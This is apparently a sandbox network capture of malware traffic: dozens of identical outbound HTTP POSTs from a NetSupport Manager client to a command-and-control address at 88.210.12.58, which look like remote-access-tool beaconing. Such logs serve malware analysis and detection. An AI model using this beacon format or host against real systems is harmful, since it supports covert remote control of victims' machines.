Dec 6, 2024 10:42:36.342000008 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:36.439160109 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:36.542203903 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:36.641839027 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:36.742022038 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:36.846975088 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:36.952059984 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:37.153105021 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:37.254118919 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:37.354105949 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:37.455136061 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:37.555155993 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:37.655203104 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:37.756160021 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:37.856134892 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:37.957146883 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:38.058223963 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:38.158138990 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:38.261986017 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:38.360124111 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:38.461981058 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:38.561989069 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:38.661983013 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:38.762013912 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:38.861110926 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:38.962018013 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:39.061146021 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:39.161134958 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:39.262157917 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:39.362181902 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:39.463144064 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:39.563139915 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:39.664145947 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:39.764137983 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:39.864160061 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:39.965250015 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:40.065144062 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:40.165230036 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:40.268024921 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:40.365207911 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:40.466207981 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:40.567303896 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:40.667138100 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:40.767206907 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:40.869991064 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:40.968360901 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:41.069133043 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:41.172347069 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:41.271152973 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:41.371233940 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:41.472116947 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:41.573163033 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:41.673233986 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:41.773166895 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:41.874166012 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:41.974148035 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:42.075165033 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:42.175246954 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:42.278073072 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:42.377123117 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:42.477166891 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:42.578006029 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:42.678205967 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:42.778148890 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:42.881006956 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:42.982011080 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:43.079154968 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:43.179147959 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:43.280194044 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:43.381181002 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:43.481173038 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:43.582210064 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:43.683188915 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:43.784189939 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:43.885164976 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:43.985181093 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:44.085160017 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:44.186153889 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:44.290007114 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:44.387147903 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:44.487651110 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:44.588156939 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:44.688235998 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:44.788223028 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:44.889139891 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:44.990236044 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:45.094050884 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:45.191260099 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:45.291169882 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:45.391176939 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:45.495181084 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:45.596237898 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:45.696187973 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
